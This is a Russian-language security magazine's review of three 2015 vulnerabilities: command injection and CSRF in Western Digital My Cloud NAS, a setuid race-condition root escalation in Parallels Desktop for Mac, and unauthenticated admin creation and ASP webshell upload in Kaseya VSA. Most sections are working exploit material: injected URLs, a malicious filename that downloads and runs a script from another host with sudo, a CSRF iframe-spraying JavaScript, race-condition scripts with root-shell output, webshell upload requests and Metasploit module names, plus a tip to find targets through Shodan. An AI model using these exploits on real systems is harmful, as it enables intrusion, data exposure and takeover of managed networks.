Содержание статьи
В сегодняшнем обзоре мы рассмотрим получение привилегий в OS X с установленным Parallels Desktop. Разберем уязвимости в системе Kaseya, которая помогает не только управлять парком компьютеров в компаниях, но и обеспечивать безопасность. При этом она стала средством, с помощью которого атакующий может выполнить свой код на всех подчиненных устройствах. А также рассмотрим уязвимость в популярном NAS производства Western Digital.
Выполнение произвольных команд в Western Digital My Cloud
CVSSv2
N/A
BRIEF
Дата релиза: 28 сентября 2015 года
Автор: @ab5ane
CVE: N/A
Western Digital My Cloud (Personal Cloud Storage) представляет собой Network Attached Storage (NAS). Он пригоден как для использования дома, так и в качестве личного облака для небольших команд. К хранящимся данным можно получить доступ не только из личной сети, но и с другого конца света. На фоне нашумевших утечек личной информации такие устройства стали еще более востребованы — ведь доступ к данным не получит сторонняя организация. По крайней мере в теории.
Уязвимости типа инъекция команд и CSRF были найдены в прошивке с версиями 04.01.03-421 и 04.01.04-422. Предыдущие версии, установленные в разные NAS этой компании, тоже потенциально уязвимы.
EXPLOIT
WD My Cloud работает на Debian Linux. Есть два способа взаимодействия с системой:
- интерфейс для администратора (http://wdmycloud.local/UI/);
- RESTful API (http://wdmycloud.local/api/). Он используется администраторским интерфейсом и клиентскими приложениями.
Весь исходный код хранится на устройстве в папке /var/www
, и к нему можно получить доступ через SSH. Веб-приложение, как правило, выполняет обычные скрипты на устройстве: добавление и удаление пользователей, проверка доступного места на диске, перезагрузка и другие. Такие скрипты находятся в /usr/local/sbin/
. Так как большинство из них требует прав администратора, пользователь www-data
числится в /etc/sudoers
.
Хакер #202. Скажи нет большому брату!
Разберем возможность инъекции команд. С помощью SSH-доступа к устройству (который включается в панели администратора) автор эксплоита нашел внутри /var/www
код на PHP, который позволяет выполнять команды в ОС. Функция exec_runtime
из файла /var/www/rest-api/api/Core/init_autoloader.php
спроектирована так, что полученные данные отправляет в функцию exec
.
В некоторых случаях пользователь может передать параметры GET и POST, которые придут в эту функцию, а затем выполнятся в системе. Часть скриптов плохо проверяет переданные параметры и отправляет их в функцию exec
как есть. На скриншоте представлен один из таких случаев, найденный в скрипте /var/www/rest-api/api/SafePoint/src/SafePoint/Controller/SafePointGetStatus.php
.
При просмотре исходного кода скрипта был обнаружен параметр запроса handle
, который передается напрямую в скрипт safeptExec.pl
без какой-либо обработки. Для демонстрации воспользуемся CSRF-атакой на авторизованного администратора, который при заходе на нашу страницу выполнит запрос и перезагрузит устройство ($(sudo reboot)
).
http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo reboot)&action=update
Из-за того что нет никакой обработки или проверки этого параметра при копировании в $opts
, вызов функции exec_runtime
заставит систему выполнить команду как есть.
sudo perl <INCLUDE_PATH> /usr/local/NSPT/WDSafe/safeptExec.pl –handle=$(sudo reboot)&action=update
Команда $(sudo reboot)
, в свою очередь, прервет работу ОС, и остальные команды не будут выполнены.
Еще одна проблема связана с обработкой больших файлов. Когда администратор настраивает устройство, он может добавить новых пользователей, назначить права доступа к разделам и выдать или запретить удаленный доступ, а также разграничить доступ к файлам. Удаленный доступ возможен для клиентов с Windows, Mac, Android и iPhone. Им доступен фронтенд, который получает ответы от устройства по RESTful API. Благодаря найденным в этой структуре ошибкам автор обнаружил возможность любому авторизованному пользователю выполнять произвольные команды или получить доступ к файлам других пользователей. Что еще хуже, атакующий будет иметь доступ к корневому разделу NAS.
В скрипте /var/www/rest-api/api/Common/includes/util.inc
определена функция fstatLfs
, которая получает статическую информацию из файлов. Для файлов размером два гигабайта и более есть свой обработчик. В нем и нашлась ошибка: имена файлов передаются через командную строку в двойных кавычках, а не в одинарных. Из-за двойных кавычек строки в таком имени файлов будут обрабатываться как команды.
Эксплуатация этой уязвимости проста: загружаем файл размером более двух гигабайт с вредоносным именем.
$(sudo curl 192.168.0.226 -o makeAllPublic.sh && sudo bash makeAllPublic.sh).txt
Вот как выглядит makeAllPublic.sh
.
#!/bin/bash
while read share;
do
echo UPDATE UserShares SET public_access=\"true\" WHERE share_name=\"$share\"";" | sqlite3 /usr/local/nas/orion/orion.db;
done < <(bash /usr/local/sbin/getShares.sh private)
В результате на устройстве все разделы станут публичными и любой пользователь сможет получить к ним доступ.
Но что делать, если у атакующего нет авторизованного доступа? Так как устройство используется в локальной сети, существует папка Public
, в которую в большинстве случаев может положить файл любой желающий. В итоге нужно создать файл с указанным размером и вредоносным именем. Далее ждем, когда авторизованный пользователь просмотрит папку с любого устройства, используя клиентское приложение WD.
Устройство подвержено и CSRF-атакам. Это позволяет выполнить различные команды, если пользователь зайдет на нашу страницу.
http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update
Адрес устройства не всегда имеет такой вид, но тут нам на помощь может прийти функция WebRTC, доступная в популярных браузерах. Еще нам требуется правильная сессия. В итоге для атаки нужно:
- Использовать WebRTC для определения IP-адреса устройства.
- Сделать запрос на My Cloud через LAN для создания правильной сессии в браузере.
- Отправить атакующий запрос на устройство. Ниже приведен текст запроса.
...
function exploit(ip) {
var ip_part = ip.split(".");
var cidr_24 = ip_part[0] + "." + ip_part[1] + "." + ip_part[2] + ".";
if (ip_part[0] == "192" || ip_part[0] == "172" || ip_part[0] == "10") {
var expFrame = new Array(255);
for (i = 2; i < 40; i++) {
document.write("<iframe id=\"" + i + "\" src=\"http://" + cidr_24 + i +"/api/2.1/rest/local_login?username=" + "<?php echo $_GET['username'] ?>" + "&password=" + "<?php echo $_GET['password'] ?>\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");
};
for (i = 2; i < 40; i++) {
document.write("<iframe id=\"exp" + i + "\" src=\"http://" + cidr_24 + i + "/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");
setInterval( function(id) {document.getElementById(id).src = document.getElementById(id).src;}, 2000, "exp"+i );
};
};
};
function go() {
getIPs(function(ip) {
exploit(ip);
});
};
Код на JavaScript, который используется для определения IP-адреса через WebRTC, можно скачать целиком отсюда. А полный текст страницы для CSRF-атаки ты можешь взять из Exploit-DB.
Стоит заметить, что производитель был уведомлен 12 мая 2015 года, но патч вышел только сейчас, равно как и публикация уязвимости. Оригинальную статью с видео эксплуатации ты можешь прочитать на сайте компании VerSprite.
О Shodan мы писали уже не раз, поэтому просто напомню: с его помощью ты можешь найти NAS с этой прошивкой.
TARGETS
Прошивки с версиями до сентября 2015 года.
Протестировано на версиях 04.01.03-421 и 04.01.04-422 для устройств
Personal Cloud.
SOLUTION
Производитель выпустил исправление.
Также автор советует:
- отключить WebRTC в браузерах;
- доступ к My Cloud устройствам открыть только доверенным пользователям;
- отключить удаленное управление, если оно не используется.
Повышение привилегий в OS X с установленным Parallels Desktop for Mac
CVSSv2
N/A
BRIEF
Дата релиза: 8 января 2015 года
Автор: @beist
CVE: N/A
Продолжим наш обзор уязвимостью типа повышения привилегии в OS X с установленным Parallels Desktop. Не удивляйся такой давней дате. Автор эксплоита публикует уязвимости нулевого дня под паролями, и информация не сразу становится достоянием общественности.
Было достигнуто только получение высших привилегий на хостовой системе, а не «побег» из виртуальной машины, что было бы, конечно, лучше. Автор нашел исполняемый файл с битом setuid в установочной директории Parallels. Во время исследования у него была последняя на тот момент версия.
$ cd "/Applications/Parallels Desktop.app/Contents/MacOS/"
$ ls -al "Parallels Service"
-rwsr-sr-x 1 root accessibility 27376 1 8 13:24 Parallels Service
Из имени файла примерно ясно, за что он отвечает. Загрузим его в IDA, чтобы изучить подробнее.
Найдя точку входа, исследователь проанализировал список функций и в результате нашел интересную — _execv
.
Вызывается она только в одном месте, что облегчает анализ.
Если прокрутить ниже, то можно увидеть несколько простых блоков. Из них становится ясно, что проверяется переданный аргумент argv[1]
со строкой inittool
. На самом деле таких строк больше, к примеру service_start
и service_stop
. Но только inittool
активируется так же, как и исполняемый файл, который находится в той же папке.
Проверяем права у этого файла.
$ ls -al inittool
-rwxr-xr-x@ 1 root wheel 23992 1 8 13:24 inittool
Снова прокрутим наверх. В глаза бросается строка «error: failed to verify signature (%d)». Мы можем предположить, что функция sub_100002920()
проверяет, правильно ли подписан исполняемый файл. На следующем скриншоте представлена часть кода этой функции.
Для более удобного восприятия переименуем функцию sub_100002920()
в verify()
. Теперь рассмотрим ассемблерный код между функциями verify()
и execv()
.
Он кажется странным. Где же защита от ошибок типа «состояние гонки» (Race Condition)? Это как раз то, что мы искали. И если сможем победить в этой «гонке», то получим права root.
EXPLOIT
Нам нужно, чтобы inittool
выполнился из директории Parallels Services
. Но у нас нет прав на запись в нее.
drwxr-xr-x 35 root wheel 1190 1 8 13:24 MacOS
Правда, есть один старый трюк, который нам поможет. Нужно только создать жесткую или символьную ссылку. Код, представленный ниже, демонстрирует простоту уязвимости.
Для начала создадим ссылку.
$ cd ~
$ mkdir -p Contents/Resources/
$ cp "/Applications/Parallels Desktop.app/Contents/Resources/exceptions.list" Contents/Resources/
$ mkdir -p work/tmp/
$ ln -s "/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service" work/tmp/poc
$ cd work/tmp
$ ls -al poc
lrwxr-xr-x 1 beist_air staff 68 1 8 11:26 poc -> /Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service
Затем скопируем оригинальный inittool.
$ cp "/Applications/Parallels Desktop.app/Contents/MacOS/inittool" inittool
$ cp inittool orig_inittool
Теперь создадим ложный inittool и скомпилируем.
$ cat fake_inittool.c
...
int main() {
printf("\nGot it! UID: %d\n", getuid());
printf("Got it! EUID: %d\n", geteuid());
while(1);
}
$ gcc -o fake_inittool fake_inittool.c
Далее сделаем два скрипта на Python, которые и обеспечат нам «гонку».
import os
import sys
while 1:
os.system("cp orig_inittool inittool")
os.system("cp fake_inittool inittool")
$ cat run.py
import os
while 1:
os.system("./poc inittool")
Ну и запустим наши скрипты.
$ python race.py &
$ python run.py
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
error: failed to verify signature (-67062)
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
...
error: failed to verify signature (-67062)
error: failed to verify signature (-67061)
error: failed to verify signature (-67061)
./inittool: ./inittool: cannot execute binary file
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
Got it! UID: 0
Got it! EUID: 0
Через несколько секунд автор получил шелл с правами администратора.
Оригинальную статью и про остальные найденные уязвимости ты можешь прочитать в блоге автора.
TARGETS
Протестировано на Paralleles Desktop 10.1.2 (28859).
SOLUTION
Производитель выпустил исправление.
Многочисленные уязвимости в Kaseya VSA
CVSSv2
N/A
BRIEF
Дата релиза: 23 сентября 2015 года
Автор: Pedro Ribeiro
CVE: 2015-6589, 2015-6922
Kaseya VSA — это платформа для управления тысячами компьютеров и мобильных устройств в маленьких и средних компаниях. Владея сервером Kaseya, ты владеешь организацией. Естественно, уязвимости в таких продуктах могут привести к плачевным последствиям.
Kaseya написана с использованием технологии ASP. Примеры атак просты, поэтому рассмотрим ошибки сразу на эксплоитах.
EXPLOIT
Первая уязвимость (CVE-2015-6922/ZDI-15-448) типа удаленного получения привилегий в системе появляется из-за того, что неавторизованный пользователь может добавить аккаунт главного администратора (Master Administrator).
Следующий запрос приведет к попытке редиректа, но его надо игнорировать, так как наша цель — получить значение переменной sessionVal
из этой страницы.
GET /LocalAuth/setAccount.aspx
Это значение нам нужно для POST-запроса, который и добавит наш аккаунт с повышенными правами.
POST /LocalAuth/setAccount.aspx
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&confirm=<password>&adminEmail=<email>&setAccount=Create
Теперь у нас есть аккаунт администратора, и мы можем выполнять код во всех управляемых системой стационарных и мобильных устройствах.
Вторая уязвимость (CVE-2015-6922/ZDI-15-449) типа удаленного выполнения кода через загрузку файла возникла из-за возможности обхода директорий неавторизованным пользователем.
Для начала сделаем запрос.
GET /ConfigTab/serverfiles.asp
В ответ получим код 302 и перенаправление на ссылку вида /mainLogon.asp?logout=<sessionID>
.
Теперь у нас есть правильный sessionID
, и мы можем выполнить атакующий запрос.
POST /ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=shell.asp
Cookie: sessionId=<sessionID>
<... ASP shell here...>
Возможно, потребуется скорректировать пути, но сама Kaseya любезно сообщит, когда путь будет не найден.
Еще одна уязвимость, как и предыдущая, позволяет удаленно выполнить произвольный код через загрузку файла. Но с одним ограничением: она доступна только авторизованным пользователям.
Авторизуемся в консоли VSA, получаем значение ReferringWebWindowId
из URL (переменная wwid) и создаем POST-запрос с ним.
POST /vsapres/web20/json.ashx HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------114052411119142
Content-Length: 1501
-----------------------------114052411119142
Content-Disposition: form-data; name="directory"
../WebPages
-----------------------------114052411119142
Content-Disposition: form-data; name="ReferringWebWindowId"
31a5d16a-01b7-4f8d-adca-0b2e70006dfa
-----------------------------114052411119142
Content-Disposition: form-data; name="request"
uploadFile
-----------------------------114052411119142
Content-Disposition: form-data; name="impinf__uploadfilelocation"; filename="shell.asp"
Content-Type: application/octet-stream
<... ASP shell here...>
Теперь у нас снова имеется доступ к атакуемой системе. В качестве шелла можешь взять релизы с форума Rdot или посмотреть в одном из старых номеров ][.
Автором уязвимости написаны два модуля для Metasploit (под каждую уязвимость), а также скрипт на Ruby — они значительно упрощают атаку. Вот как подключить модули Metasploit.
use auxiliary/admin/http/kaseya_master_admin
...
use exploits/windows/http/kaseya_uploader
TARGETS
VSA Version 7.0.0.0–7.0.0.32;
VSA Version 8.0.0.0–8.0.0.22;
VSA Version 9.0.0.0–9.0.0.18;
VSA Version 9.1.0.0–9.1.0.8.
SOLUTION
Производитель выпустил исправление.